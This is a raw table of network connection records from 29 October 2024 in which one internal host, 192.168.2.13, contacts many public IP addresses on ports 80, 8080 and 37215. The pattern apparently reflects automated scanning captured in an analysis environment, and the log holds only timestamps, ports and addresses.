Oct 29, 2024 20:52:38.043382883 CET	56350	80	192.168.2.13	95.203.198.136
Oct 29, 2024 20:52:38.043391943 CET	80	56350	95.57.187.69	192.168.2.13
Oct 29, 2024 20:52:38.043402910 CET	80	56350	95.97.67.199	192.168.2.13
Oct 29, 2024 20:52:38.043402910 CET	56350	80	192.168.2.13	95.238.40.148
Oct 29, 2024 20:52:38.043405056 CET	80	56350	95.194.101.109	192.168.2.13
Oct 29, 2024 20:52:38.043405056 CET	56350	80	192.168.2.13	95.169.103.144
Oct 29, 2024 20:52:38.043409109 CET	80	56350	95.210.35.29	192.168.2.13
Oct 29, 2024 20:52:38.043416977 CET	56350	80	192.168.2.13	95.243.39.217
Oct 29, 2024 20:52:38.043420076 CET	80	56350	95.56.103.115	192.168.2.13
Oct 29, 2024 20:52:38.043433905 CET	80	56350	95.102.220.217	192.168.2.13
Oct 29, 2024 20:52:38.043447018 CET	80	56350	95.3.175.60	192.168.2.13
Oct 29, 2024 20:52:38.043467045 CET	56350	80	192.168.2.13	95.56.103.115
Oct 29, 2024 20:52:38.043478966 CET	56350	80	192.168.2.13	95.57.187.69
Oct 29, 2024 20:52:38.043479919 CET	56350	80	192.168.2.13	95.210.35.29
Oct 29, 2024 20:52:38.043483019 CET	56350	80	192.168.2.13	95.102.220.217
Oct 29, 2024 20:52:38.043487072 CET	56350	80	192.168.2.13	95.97.67.199
Oct 29, 2024 20:52:38.043487072 CET	56350	80	192.168.2.13	95.194.101.109
Oct 29, 2024 20:52:38.043495893 CET	80	56350	95.105.197.139	192.168.2.13
Oct 29, 2024 20:52:38.043505907 CET	80	56350	95.208.254.182	192.168.2.13
Oct 29, 2024 20:52:38.043509960 CET	80	56350	95.45.223.185	192.168.2.13
Oct 29, 2024 20:52:38.043515921 CET	56350	80	192.168.2.13	95.3.175.60
Oct 29, 2024 20:52:38.043524027 CET	80	56350	95.184.210.191	192.168.2.13
Oct 29, 2024 20:52:38.043546915 CET	56350	80	192.168.2.13	95.105.197.139
Oct 29, 2024 20:52:38.043560982 CET	80	56350	95.58.44.81	192.168.2.13
Oct 29, 2024 20:52:38.043560982 CET	56350	80	192.168.2.13	95.184.210.191
Oct 29, 2024 20:52:38.043561935 CET	56350	80	192.168.2.13	95.208.254.182
Oct 29, 2024 20:52:38.043565989 CET	80	56350	95.251.43.68	192.168.2.13
Oct 29, 2024 20:52:38.043569088 CET	56350	80	192.168.2.13	95.45.223.185
Oct 29, 2024 20:52:38.043570995 CET	80	56350	95.26.210.214	192.168.2.13
Oct 29, 2024 20:52:38.043592930 CET	56350	80	192.168.2.13	95.58.44.81
Oct 29, 2024 20:52:38.043606997 CET	56350	80	192.168.2.13	95.251.43.68
Oct 29, 2024 20:52:38.043613911 CET	56350	80	192.168.2.13	95.26.210.214
Oct 29, 2024 20:52:38.043613911 CET	80	56350	95.186.132.4	192.168.2.13
Oct 29, 2024 20:52:38.043621063 CET	80	56350	95.5.107.68	192.168.2.13
Oct 29, 2024 20:52:38.043632030 CET	80	56350	95.7.135.12	192.168.2.13
Oct 29, 2024 20:52:38.043656111 CET	80	56350	95.242.209.110	192.168.2.13
Oct 29, 2024 20:52:38.043659925 CET	80	56350	95.53.92.98	192.168.2.13
Oct 29, 2024 20:52:38.043672085 CET	80	56350	95.71.146.193	192.168.2.13
Oct 29, 2024 20:52:38.043684006 CET	56350	80	192.168.2.13	95.186.132.4
Oct 29, 2024 20:52:38.043685913 CET	56350	80	192.168.2.13	95.5.107.68
Oct 29, 2024 20:52:38.043694973 CET	56350	80	192.168.2.13	95.7.135.12
Oct 29, 2024 20:52:38.043694973 CET	56350	80	192.168.2.13	95.242.209.110
Oct 29, 2024 20:52:38.043711901 CET	56350	80	192.168.2.13	95.71.146.193
Oct 29, 2024 20:52:38.043737888 CET	56350	80	192.168.2.13	95.53.92.98
Oct 29, 2024 20:52:38.043950081 CET	80	56350	95.220.207.85	192.168.2.13
Oct 29, 2024 20:52:38.043997049 CET	56350	80	192.168.2.13	95.220.207.85
Oct 29, 2024 20:52:38.044025898 CET	80	56350	95.104.66.124	192.168.2.13
Oct 29, 2024 20:52:38.044032097 CET	80	56350	95.215.188.18	192.168.2.13
Oct 29, 2024 20:52:38.044040918 CET	80	56350	95.3.243.140	192.168.2.13
Oct 29, 2024 20:52:38.044049978 CET	80	56350	95.27.92.136	192.168.2.13
Oct 29, 2024 20:52:38.044054985 CET	80	56350	95.200.110.145	192.168.2.13
Oct 29, 2024 20:52:38.044059992 CET	80	56350	95.177.202.228	192.168.2.13
Oct 29, 2024 20:52:38.044064999 CET	80	56350	95.24.207.24	192.168.2.13
Oct 29, 2024 20:52:38.044071913 CET	80	56350	95.132.107.245	192.168.2.13
Oct 29, 2024 20:52:38.044097900 CET	56350	80	192.168.2.13	95.215.188.18
Oct 29, 2024 20:52:38.044097900 CET	80	56350	95.253.138.188	192.168.2.13
Oct 29, 2024 20:52:38.044109106 CET	80	56350	95.70.163.177	192.168.2.13
Oct 29, 2024 20:52:38.044112921 CET	80	56350	95.101.23.87	192.168.2.13
Oct 29, 2024 20:52:38.044114113 CET	56350	80	192.168.2.13	95.104.66.124
Oct 29, 2024 20:52:38.044117928 CET	80	56350	95.73.87.5	192.168.2.13
Oct 29, 2024 20:52:38.044120073 CET	56350	80	192.168.2.13	95.177.202.228
Oct 29, 2024 20:52:38.044121981 CET	80	56350	95.242.171.152	192.168.2.13
Oct 29, 2024 20:52:38.044126987 CET	80	56350	95.173.147.34	192.168.2.13
Oct 29, 2024 20:52:38.044130087 CET	56350	80	192.168.2.13	95.27.92.136
Oct 29, 2024 20:52:38.044126034 CET	56350	80	192.168.2.13	95.3.243.140
Oct 29, 2024 20:52:38.044130087 CET	56350	80	192.168.2.13	95.200.110.145
Oct 29, 2024 20:52:38.044133902 CET	56350	80	192.168.2.13	95.24.207.24
Oct 29, 2024 20:52:38.044140100 CET	56350	80	192.168.2.13	95.101.23.87
Oct 29, 2024 20:52:38.044141054 CET	56350	80	192.168.2.13	95.253.138.188
Oct 29, 2024 20:52:38.044142008 CET	56350	80	192.168.2.13	95.132.107.245
Oct 29, 2024 20:52:38.044147015 CET	56350	80	192.168.2.13	95.242.171.152
Oct 29, 2024 20:52:38.044147015 CET	56350	80	192.168.2.13	95.73.87.5
Oct 29, 2024 20:52:38.044151068 CET	80	56350	95.243.78.151	192.168.2.13
Oct 29, 2024 20:52:38.044154882 CET	56350	80	192.168.2.13	95.70.163.177
Oct 29, 2024 20:52:38.044159889 CET	80	56350	95.189.111.46	192.168.2.13
Oct 29, 2024 20:52:38.044169903 CET	56350	80	192.168.2.13	95.173.147.34
Oct 29, 2024 20:52:38.044188023 CET	80	56350	95.212.159.79	192.168.2.13
Oct 29, 2024 20:52:38.044207096 CET	56350	80	192.168.2.13	95.189.111.46
Oct 29, 2024 20:52:38.044224977 CET	56350	80	192.168.2.13	95.243.78.151
Oct 29, 2024 20:52:38.044253111 CET	80	56350	95.59.190.183	192.168.2.13
Oct 29, 2024 20:52:38.044259071 CET	56350	80	192.168.2.13	95.212.159.79
Oct 29, 2024 20:52:38.044265985 CET	80	56350	95.113.211.136	192.168.2.13
Oct 29, 2024 20:52:38.044270992 CET	80	56350	95.94.216.191	192.168.2.13
Oct 29, 2024 20:52:38.044275999 CET	80	56350	95.217.211.36	192.168.2.13
Oct 29, 2024 20:52:38.044301033 CET	56350	80	192.168.2.13	95.59.190.183
Oct 29, 2024 20:52:38.044302940 CET	56350	80	192.168.2.13	95.113.211.136
Oct 29, 2024 20:52:38.044312954 CET	56350	80	192.168.2.13	95.94.216.191
Oct 29, 2024 20:52:38.044316053 CET	56350	80	192.168.2.13	95.217.211.36
Oct 29, 2024 20:52:38.044473886 CET	80	56350	95.190.167.82	192.168.2.13
Oct 29, 2024 20:52:38.044477940 CET	80	56350	95.146.153.33	192.168.2.13
Oct 29, 2024 20:52:38.044487953 CET	80	56350	95.30.71.215	192.168.2.13
Oct 29, 2024 20:52:38.044493914 CET	80	56350	95.136.186.232	192.168.2.13
Oct 29, 2024 20:52:38.044498920 CET	80	56350	95.44.243.45	192.168.2.13
Oct 29, 2024 20:52:38.044576883 CET	56350	80	192.168.2.13	95.136.186.232
Oct 29, 2024 20:52:38.044578075 CET	56350	80	192.168.2.13	95.44.243.45
Oct 29, 2024 20:52:38.044584036 CET	56350	80	192.168.2.13	95.146.153.33
Oct 29, 2024 20:52:38.044596910 CET	56350	80	192.168.2.13	95.190.167.82
Oct 29, 2024 20:52:38.044642925 CET	56350	80	192.168.2.13	95.30.71.215
Oct 29, 2024 20:52:38.046159983 CET	80	56350	95.160.206.39	192.168.2.13
Oct 29, 2024 20:52:38.046226025 CET	56350	80	192.168.2.13	95.160.206.39
Oct 29, 2024 20:52:38.046957016 CET	80	56350	95.1.117.172	192.168.2.13
Oct 29, 2024 20:52:38.047019958 CET	56350	80	192.168.2.13	95.1.117.172
Oct 29, 2024 20:52:38.047306061 CET	80	56350	95.92.51.133	192.168.2.13
Oct 29, 2024 20:52:38.047322989 CET	80	56350	95.43.60.32	192.168.2.13
Oct 29, 2024 20:52:38.047369003 CET	56350	80	192.168.2.13	95.92.51.133
Oct 29, 2024 20:52:38.047414064 CET	56350	80	192.168.2.13	95.43.60.32
Oct 29, 2024 20:52:38.048331976 CET	80	56350	95.155.166.165	192.168.2.13
Oct 29, 2024 20:52:38.048338890 CET	80	56350	95.155.120.22	192.168.2.13
Oct 29, 2024 20:52:38.048351049 CET	80	56350	95.55.192.165	192.168.2.13
Oct 29, 2024 20:52:38.048357010 CET	80	56350	95.120.142.24	192.168.2.13
Oct 29, 2024 20:52:38.048366070 CET	80	56350	95.57.20.212	192.168.2.13
Oct 29, 2024 20:52:38.048371077 CET	80	56350	95.251.4.181	192.168.2.13
Oct 29, 2024 20:52:38.048376083 CET	80	56350	95.245.67.46	192.168.2.13
Oct 29, 2024 20:52:38.048381090 CET	80	56350	95.83.231.132	192.168.2.13
Oct 29, 2024 20:52:38.048388004 CET	56350	80	192.168.2.13	95.155.166.165
Oct 29, 2024 20:52:38.048391104 CET	80	56350	95.229.136.30	192.168.2.13
Oct 29, 2024 20:52:38.048394918 CET	80	56350	95.198.166.233	192.168.2.13
Oct 29, 2024 20:52:38.048398018 CET	56350	80	192.168.2.13	95.155.120.22
Oct 29, 2024 20:52:38.048401117 CET	80	56350	95.20.82.122	192.168.2.13
Oct 29, 2024 20:52:38.048403978 CET	56350	80	192.168.2.13	95.55.192.165
Oct 29, 2024 20:52:38.048403978 CET	56350	80	192.168.2.13	95.120.142.24
Oct 29, 2024 20:52:38.048403978 CET	56350	80	192.168.2.13	95.251.4.181
Oct 29, 2024 20:52:38.048414946 CET	80	56350	95.46.198.134	192.168.2.13
Oct 29, 2024 20:52:38.048418045 CET	56350	80	192.168.2.13	95.245.67.46
Oct 29, 2024 20:52:38.048423052 CET	56350	80	192.168.2.13	95.57.20.212
Oct 29, 2024 20:52:38.048429966 CET	80	56350	95.28.96.28	192.168.2.13
Oct 29, 2024 20:52:38.048433065 CET	56350	80	192.168.2.13	95.83.231.132
Oct 29, 2024 20:52:38.048433065 CET	56350	80	192.168.2.13	95.229.136.30
Oct 29, 2024 20:52:38.048435926 CET	80	56350	95.65.35.165	192.168.2.13
Oct 29, 2024 20:52:38.048437119 CET	56350	80	192.168.2.13	95.20.82.122
Oct 29, 2024 20:52:38.048438072 CET	56350	80	192.168.2.13	95.198.166.233
Oct 29, 2024 20:52:38.048446894 CET	80	56350	95.190.16.143	192.168.2.13
Oct 29, 2024 20:52:38.048453093 CET	80	56350	95.165.249.55	192.168.2.13
Oct 29, 2024 20:52:38.048458099 CET	80	56350	95.211.188.251	192.168.2.13
Oct 29, 2024 20:52:38.048459053 CET	56350	80	192.168.2.13	95.46.198.134
Oct 29, 2024 20:52:38.048461914 CET	80	56350	95.151.110.234	192.168.2.13
Oct 29, 2024 20:52:38.048472881 CET	80	56350	95.46.62.148	192.168.2.13
Oct 29, 2024 20:52:38.048477888 CET	80	56350	95.9.219.172	192.168.2.13
Oct 29, 2024 20:52:38.048522949 CET	56350	80	192.168.2.13	95.151.110.234
Oct 29, 2024 20:52:38.048541069 CET	56350	80	192.168.2.13	95.190.16.143
Oct 29, 2024 20:52:38.048543930 CET	56350	80	192.168.2.13	95.165.249.55
Oct 29, 2024 20:52:38.048543930 CET	56350	80	192.168.2.13	95.28.96.28
Oct 29, 2024 20:52:38.048543930 CET	56350	80	192.168.2.13	95.211.188.251
Oct 29, 2024 20:52:38.048604012 CET	56350	80	192.168.2.13	95.9.219.172
Oct 29, 2024 20:52:38.048618078 CET	56350	80	192.168.2.13	95.65.35.165
Oct 29, 2024 20:52:38.048618078 CET	56350	80	192.168.2.13	95.46.62.148
Oct 29, 2024 20:52:38.061964989 CET	46116	37215	192.168.2.13	197.62.222.62
Oct 29, 2024 20:52:38.064750910 CET	47914	37215	192.168.2.13	197.139.43.111
Oct 29, 2024 20:52:38.065723896 CET	56351	8080	192.168.2.13	95.191.176.62
Oct 29, 2024 20:52:38.065829039 CET	56351	8080	192.168.2.13	62.118.222.62
Oct 29, 2024 20:52:38.065877914 CET	56351	8080	192.168.2.13	31.10.85.213
Oct 29, 2024 20:52:38.065901995 CET	56351	8080	192.168.2.13	94.181.3.61
Oct 29, 2024 20:52:38.065908909 CET	56351	8080	192.168.2.13	95.53.7.16
Oct 29, 2024 20:52:38.065972090 CET	56351	8080	192.168.2.13	62.141.92.245
Oct 29, 2024 20:52:38.065984011 CET	56351	8080	192.168.2.13	31.120.245.195
Oct 29, 2024 20:52:38.065994024 CET	56351	8080	192.168.2.13	94.30.144.108
Oct 29, 2024 20:52:38.066040039 CET	56351	8080	192.168.2.13	85.59.61.243
Oct 29, 2024 20:52:38.066051960 CET	56351	8080	192.168.2.13	62.208.117.99
Oct 29, 2024 20:52:38.066076994 CET	56351	8080	192.168.2.13	94.166.57.45
Oct 29, 2024 20:52:38.066078901 CET	56351	8080	192.168.2.13	31.128.214.100
Oct 29, 2024 20:52:38.066092014 CET	56351	8080	192.168.2.13	85.45.42.252
Oct 29, 2024 20:52:38.066092968 CET	56351	8080	192.168.2.13	31.44.24.156
Oct 29, 2024 20:52:38.066102028 CET	56351	8080	192.168.2.13	95.98.151.140
Oct 29, 2024 20:52:38.066126108 CET	56351	8080	192.168.2.13	62.166.107.70
Oct 29, 2024 20:52:38.066154957 CET	56351	8080	192.168.2.13	94.111.213.11
Oct 29, 2024 20:52:38.066169024 CET	56351	8080	192.168.2.13	31.192.71.141
Oct 29, 2024 20:52:38.066169977 CET	56351	8080	192.168.2.13	62.3.38.167
Oct 29, 2024 20:52:38.066184998 CET	56351	8080	192.168.2.13	62.182.23.116
Oct 29, 2024 20:52:38.066195011 CET	56351	8080	192.168.2.13	62.85.170.146
Oct 29, 2024 20:52:38.066237926 CET	33648	37215	192.168.2.13	197.212.208.236
Oct 29, 2024 20:52:38.066262960 CET	56351	8080	192.168.2.13	95.67.86.123
Oct 29, 2024 20:52:38.066262960 CET	56351	8080	192.168.2.13	31.70.234.67
Oct 29, 2024 20:52:38.066262960 CET	56351	8080	192.168.2.13	85.151.66.251
Oct 29, 2024 20:52:38.066302061 CET	56351	8080	192.168.2.13	31.175.43.53
Oct 29, 2024 20:52:38.066302061 CET	56351	8080	192.168.2.13	94.175.133.203
Oct 29, 2024 20:52:38.066309929 CET	56351	8080	192.168.2.13	31.234.133.130
Oct 29, 2024 20:52:38.066339016 CET	56351	8080	192.168.2.13	95.235.92.207
Oct 29, 2024 20:52:38.066339016 CET	56351	8080	192.168.2.13	31.218.95.95
Oct 29, 2024 20:52:38.066354036 CET	56351	8080	192.168.2.13	94.148.242.181
Oct 29, 2024 20:52:38.066406012 CET	56351	8080	192.168.2.13	85.218.129.115
Oct 29, 2024 20:52:38.066411972 CET	56351	8080	192.168.2.13	31.112.28.120
Oct 29, 2024 20:52:38.066427946 CET	56351	8080	192.168.2.13	31.122.120.26
Oct 29, 2024 20:52:38.066432953 CET	56351	8080	192.168.2.13	95.114.86.7
Oct 29, 2024 20:52:38.066442966 CET	56351	8080	192.168.2.13	85.207.98.139
Oct 29, 2024 20:52:38.066451073 CET	56351	8080	192.168.2.13	31.31.62.42
Oct 29, 2024 20:52:38.066466093 CET	56351	8080	192.168.2.13	95.158.111.132
Oct 29, 2024 20:52:38.066497087 CET	56351	8080	192.168.2.13	62.65.26.120
Oct 29, 2024 20:52:38.066514015 CET	56351	8080	192.168.2.13	62.115.219.18
Oct 29, 2024 20:52:38.066515923 CET	56351	8080	192.168.2.13	31.240.226.64
Oct 29, 2024 20:52:38.066528082 CET	56351	8080	192.168.2.13	85.29.84.232
Oct 29, 2024 20:52:38.066545963 CET	56351	8080	192.168.2.13	95.53.160.185
Oct 29, 2024 20:52:38.066586018 CET	56351	8080	192.168.2.13	62.99.241.42
Oct 29, 2024 20:52:38.066596985 CET	56351	8080	192.168.2.13	85.145.134.248
Oct 29, 2024 20:52:38.066596985 CET	56351	8080	192.168.2.13	85.97.53.55
Oct 29, 2024 20:52:38.066613913 CET	56351	8080	192.168.2.13	31.219.85.30
Oct 29, 2024 20:52:38.066621065 CET	56351	8080	192.168.2.13	95.169.61.243
Oct 29, 2024 20:52:38.066633940 CET	56351	8080	192.168.2.13	85.242.201.12
Oct 29, 2024 20:52:38.066673040 CET	56351	8080	192.168.2.13	94.209.68.139
Oct 29, 2024 20:52:38.066683054 CET	56351	8080	192.168.2.13	95.31.227.45
Oct 29, 2024 20:52:38.066699982 CET	56351	8080	192.168.2.13	62.32.253.212
Oct 29, 2024 20:52:38.066706896 CET	56351	8080	192.168.2.13	62.137.153.187
Oct 29, 2024 20:52:38.066721916 CET	56351	8080	192.168.2.13	94.130.72.24
Oct 29, 2024 20:52:38.066725969 CET	56351	8080	192.168.2.13	94.84.202.153
Oct 29, 2024 20:52:38.066749096 CET	56351	8080	192.168.2.13	62.188.212.134
Oct 29, 2024 20:52:38.066791058 CET	56351	8080	192.168.2.13	95.207.25.144
Oct 29, 2024 20:52:38.066796064 CET	56351	8080	192.168.2.13	31.89.85.192
Oct 29, 2024 20:52:38.066811085 CET	56351	8080	192.168.2.13	94.163.191.185
Oct 29, 2024 20:52:38.066822052 CET	56351	8080	192.168.2.13	62.50.71.89
Oct 29, 2024 20:52:38.066828012 CET	56351	8080	192.168.2.13	62.164.120.205
Oct 29, 2024 20:52:38.066828012 CET	56351	8080	192.168.2.13	94.199.74.48
Oct 29, 2024 20:52:38.066875935 CET	56351	8080	192.168.2.13	94.105.72.147
Oct 29, 2024 20:52:38.066893101 CET	56351	8080	192.168.2.13	85.96.117.58
Oct 29, 2024 20:52:38.066953897 CET	56351	8080	192.168.2.13	62.34.107.128
Oct 29, 2024 20:52:38.066956997 CET	56351	8080	192.168.2.13	94.240.5.252
Oct 29, 2024 20:52:38.066972971 CET	56351	8080	192.168.2.13	31.233.185.246
Oct 29, 2024 20:52:38.066972971 CET	56351	8080	192.168.2.13	62.10.106.123
Oct 29, 2024 20:52:38.066982985 CET	56351	8080	192.168.2.13	85.79.89.24
Oct 29, 2024 20:52:38.066984892 CET	56351	8080	192.168.2.13	95.35.219.255
Oct 29, 2024 20:52:38.067001104 CET	56351	8080	192.168.2.13	85.34.174.27
Oct 29, 2024 20:52:38.067003012 CET	56351	8080	192.168.2.13	31.234.137.150
Oct 29, 2024 20:52:38.067017078 CET	56351	8080	192.168.2.13	94.165.162.100
Oct 29, 2024 20:52:38.067018032 CET	56351	8080	192.168.2.13	31.199.50.109
Oct 29, 2024 20:52:38.067097902 CET	56351	8080	192.168.2.13	85.74.244.77
Oct 29, 2024 20:52:38.067105055 CET	56351	8080	192.168.2.13	94.37.136.180
Oct 29, 2024 20:52:38.067112923 CET	56351	8080	192.168.2.13	31.96.95.232
Oct 29, 2024 20:52:38.067156076 CET	56351	8080	192.168.2.13	85.63.182.236
Oct 29, 2024 20:52:38.067178965 CET	56351	8080	192.168.2.13	85.195.28.230
Oct 29, 2024 20:52:38.067183971 CET	56351	8080	192.168.2.13	95.206.91.49
Oct 29, 2024 20:52:38.067197084 CET	56351	8080	192.168.2.13	94.4.231.20
Oct 29, 2024 20:52:38.067224026 CET	56351	8080	192.168.2.13	31.42.215.195
Oct 29, 2024 20:52:38.067233086 CET	56351	8080	192.168.2.13	95.60.31.225
Oct 29, 2024 20:52:38.067245960 CET	56351	8080	192.168.2.13	62.113.81.52
Oct 29, 2024 20:52:38.067249060 CET	56351	8080	192.168.2.13	95.91.157.85
Oct 29, 2024 20:52:38.067274094 CET	56351	8080	192.168.2.13	85.17.5.223
Oct 29, 2024 20:52:38.067279100 CET	56351	8080	192.168.2.13	95.159.131.48
Oct 29, 2024 20:52:38.067297935 CET	56351	8080	192.168.2.13	95.203.208.209
Oct 29, 2024 20:52:38.067298889 CET	56351	8080	192.168.2.13	62.52.236.172
Oct 29, 2024 20:52:38.067332029 CET	56351	8080	192.168.2.13	85.175.146.188
Oct 29, 2024 20:52:38.067354918 CET	56351	8080	192.168.2.13	31.175.211.188
Oct 29, 2024 20:52:38.067357063 CET	56351	8080	192.168.2.13	85.94.91.63
Oct 29, 2024 20:52:38.067358017 CET	56351	8080	192.168.2.13	94.237.51.163
Oct 29, 2024 20:52:38.067367077 CET	56351	8080	192.168.2.13	62.254.28.194
Oct 29, 2024 20:52:38.067380905 CET	56351	8080	192.168.2.13	95.245.96.8
Oct 29, 2024 20:52:38.067383051 CET	56351	8080	192.168.2.13	85.39.40.183
Oct 29, 2024 20:52:38.067403078 CET	56351	8080	192.168.2.13	31.96.182.10
Oct 29, 2024 20:52:38.067405939 CET	56351	8080	192.168.2.13	62.5.173.245
Oct 29, 2024 20:52:38.067416906 CET	56351	8080	192.168.2.13	62.52.199.124
Oct 29, 2024 20:52:38.067445040 CET	56351	8080	192.168.2.13	85.159.69.169
Oct 29, 2024 20:52:38.067456961 CET	56351	8080	192.168.2.13	85.223.59.65
Oct 29, 2024 20:52:38.067464113 CET	56351	8080	192.168.2.13	94.8.206.14
Oct 29, 2024 20:52:38.067468882 CET	56351	8080	192.168.2.13	94.6.182.121
Oct 29, 2024 20:52:38.067487001 CET	56351	8080	192.168.2.13	85.20.157.53
Oct 29, 2024 20:52:38.067487001 CET	56351	8080	192.168.2.13	95.254.60.161
Oct 29, 2024 20:52:38.067501068 CET	56351	8080	192.168.2.13	31.175.148.85
Oct 29, 2024 20:52:38.067503929 CET	56351	8080	192.168.2.13	62.156.227.237
Oct 29, 2024 20:52:38.067555904 CET	56351	8080	192.168.2.13	31.219.182.254
Oct 29, 2024 20:52:38.067560911 CET	56351	8080	192.168.2.13	31.115.130.206
Oct 29, 2024 20:52:38.067575932 CET	56351	8080	192.168.2.13	31.103.250.235
Oct 29, 2024 20:52:38.067581892 CET	56351	8080	192.168.2.13	31.87.94.132
Oct 29, 2024 20:52:38.067608118 CET	56351	8080	192.168.2.13	62.88.59.55
Oct 29, 2024 20:52:38.067616940 CET	56351	8080	192.168.2.13	31.9.66.82
Oct 29, 2024 20:52:38.067621946 CET	56351	8080	192.168.2.13	62.244.173.240
Oct 29, 2024 20:52:38.067643881 CET	56351	8080	192.168.2.13	94.45.197.43
Oct 29, 2024 20:52:38.067660093 CET	56351	8080	192.168.2.13	62.67.229.11
Oct 29, 2024 20:52:38.067661047 CET	56351	8080	192.168.2.13	62.8.119.114
Oct 29, 2024 20:52:38.067676067 CET	56351	8080	192.168.2.13	94.251.246.126
Oct 29, 2024 20:52:38.067692041 CET	56351	8080	192.168.2.13	85.23.150.26
Oct 29, 2024 20:52:38.067702055 CET	56351	8080	192.168.2.13	85.49.37.30
Oct 29, 2024 20:52:38.067708969 CET	56351	8080	192.168.2.13	85.16.85.198
Oct 29, 2024 20:52:38.067714930 CET	56351	8080	192.168.2.13	94.116.142.176
Oct 29, 2024 20:52:38.067722082 CET	56351	8080	192.168.2.13	85.183.33.2
Oct 29, 2024 20:52:38.067759037 CET	56351	8080	192.168.2.13	62.142.92.166
Oct 29, 2024 20:52:38.067759037 CET	56351	8080	192.168.2.13	31.238.172.150
Oct 29, 2024 20:52:38.067779064 CET	56351	8080	192.168.2.13	31.154.59.130
Oct 29, 2024 20:52:38.067797899 CET	56351	8080	192.168.2.13	62.151.213.145
Oct 29, 2024 20:52:38.067800045 CET	56351	8080	192.168.2.13	94.232.144.149
Oct 29, 2024 20:52:38.067807913 CET	56351	8080	192.168.2.13	62.156.18.1
Oct 29, 2024 20:52:38.067816973 CET	56351	8080	192.168.2.13	85.162.3.74
Oct 29, 2024 20:52:38.067816973 CET	56351	8080	192.168.2.13	31.9.85.245
Oct 29, 2024 20:52:38.067835093 CET	56351	8080	192.168.2.13	31.52.183.64
Oct 29, 2024 20:52:38.067852974 CET	56351	8080	192.168.2.13	62.55.22.93
Oct 29, 2024 20:52:38.067852974 CET	56351	8080	192.168.2.13	31.128.58.4
Oct 29, 2024 20:52:38.067873001 CET	56351	8080	192.168.2.13	95.199.236.18
Oct 29, 2024 20:52:38.067929029 CET	56351	8080	192.168.2.13	62.156.33.75
Oct 29, 2024 20:52:38.067948103 CET	56351	8080	192.168.2.13	94.70.112.172
Oct 29, 2024 20:52:38.067955971 CET	56351	8080	192.168.2.13	62.52.126.17
Oct 29, 2024 20:52:38.067991972 CET	34384	37215	192.168.2.13	197.64.21.215
Oct 29, 2024 20:52:38.068012953 CET	56351	8080	192.168.2.13	95.5.229.188
Oct 29, 2024 20:52:38.068012953 CET	56351	8080	192.168.2.13	85.101.4.44
Oct 29, 2024 20:52:38.068032026 CET	56351	8080	192.168.2.13	95.192.160.112
Oct 29, 2024 20:52:38.068032026 CET	56351	8080	192.168.2.13	85.20.20.120
Oct 29, 2024 20:52:38.068056107 CET	56351	8080	192.168.2.13	62.163.15.25
Oct 29, 2024 20:52:38.068073034 CET	56351	8080	192.168.2.13	85.138.93.163
Oct 29, 2024 20:52:38.068073034 CET	56351	8080	192.168.2.13	95.188.34.73
Oct 29, 2024 20:52:38.068078995 CET	56351	8080	192.168.2.13	31.70.13.28
Oct 29, 2024 20:52:38.068115950 CET	56351	8080	192.168.2.13	85.34.10.181
Oct 29, 2024 20:52:38.068139076 CET	56351	8080	192.168.2.13	94.179.137.141
Oct 29, 2024 20:52:38.068139076 CET	56351	8080	192.168.2.13	95.191.3.69
Oct 29, 2024 20:52:38.068140030 CET	56351	8080	192.168.2.13	95.112.7.70
Oct 29, 2024 20:52:38.068161964 CET	56351	8080	192.168.2.13	94.225.139.35
Oct 29, 2024 20:52:38.068164110 CET	56351	8080	192.168.2.13	94.37.155.27
Oct 29, 2024 20:52:38.068192959 CET	56351	8080	192.168.2.13	85.84.100.73
Oct 29, 2024 20:52:38.068207979 CET	56351	8080	192.168.2.13	62.73.243.124
Oct 29, 2024 20:52:38.068208933 CET	56351	8080	192.168.2.13	95.152.192.32
Oct 29, 2024 20:52:38.068231106 CET	56351	8080	192.168.2.13	95.230.237.7
Oct 29, 2024 20:52:38.068243027 CET	56351	8080	192.168.2.13	94.243.241.27
Oct 29, 2024 20:52:38.068272114 CET	56351	8080	192.168.2.13	62.223.86.10
Oct 29, 2024 20:52:38.068290949 CET	56351	8080	192.168.2.13	62.139.201.28
Oct 29, 2024 20:52:38.068303108 CET	56351	8080	192.168.2.13	62.114.0.196
Oct 29, 2024 20:52:38.068321943 CET	56351	8080	192.168.2.13	95.125.68.227
Oct 29, 2024 20:52:38.068321943 CET	56351	8080	192.168.2.13	94.194.154.136
Oct 29, 2024 20:52:38.068331003 CET	56351	8080	192.168.2.13	85.183.145.189
Oct 29, 2024 20:52:38.068341017 CET	56351	8080	192.168.2.13	85.209.2.189
Oct 29, 2024 20:52:38.068377018 CET	56351	8080	192.168.2.13	95.16.81.119
Oct 29, 2024 20:52:38.068394899 CET	56351	8080	192.168.2.13	62.94.76.129
Oct 29, 2024 20:52:38.068397045 CET	56351	8080	192.168.2.13	94.28.58.41
Oct 29, 2024 20:52:38.068437099 CET	56351	8080	192.168.2.13	95.168.21.225
Oct 29, 2024 20:52:38.068451881 CET	56351	8080	192.168.2.13	85.187.86.224
Oct 29, 2024 20:52:38.068464041 CET	56351	8080	192.168.2.13	94.9.247.255
Oct 29, 2024 20:52:38.068468094 CET	56351	8080	192.168.2.13	85.41.205.182
Oct 29, 2024 20:52:38.068469048 CET	56351	8080	192.168.2.13	85.10.9.114
Oct 29, 2024 20:52:38.068481922 CET	56351	8080	192.168.2.13	85.197.102.80
Oct 29, 2024 20:52:38.068489075 CET	56351	8080	192.168.2.13	31.152.59.255
Oct 29, 2024 20:52:38.068499088 CET	56351	8080	192.168.2.13	62.236.197.245
Oct 29, 2024 20:52:38.068514109 CET	56351	8080	192.168.2.13	95.8.102.60
Oct 29, 2024 20:52:38.068526030 CET	56351	8080	192.168.2.13	31.181.194.21
Oct 29, 2024 20:52:38.068527937 CET	56351	8080	192.168.2.13	62.45.234.54
Oct 29, 2024 20:52:38.068566084 CET	56351	8080	192.168.2.13	85.91.187.34
Oct 29, 2024 20:52:38.068567991 CET	56351	8080	192.168.2.13	94.156.37.117
Oct 29, 2024 20:52:38.068576097 CET	56351	8080	192.168.2.13	62.174.193.234
Oct 29, 2024 20:52:38.068587065 CET	56351	8080	192.168.2.13	31.116.106.183
Oct 29, 2024 20:52:38.068598032 CET	56351	8080	192.168.2.13	62.211.120.165
Oct 29, 2024 20:52:38.068619013 CET	56351	8080	192.168.2.13	31.27.211.129
Oct 29, 2024 20:52:38.068641901 CET	56351	8080	192.168.2.13	95.205.114.118
Oct 29, 2024 20:52:38.068649054 CET	37215	46116	197.62.222.62	192.168.2.13
Oct 29, 2024 20:52:38.068665028 CET	56351	8080	192.168.2.13	31.247.41.166
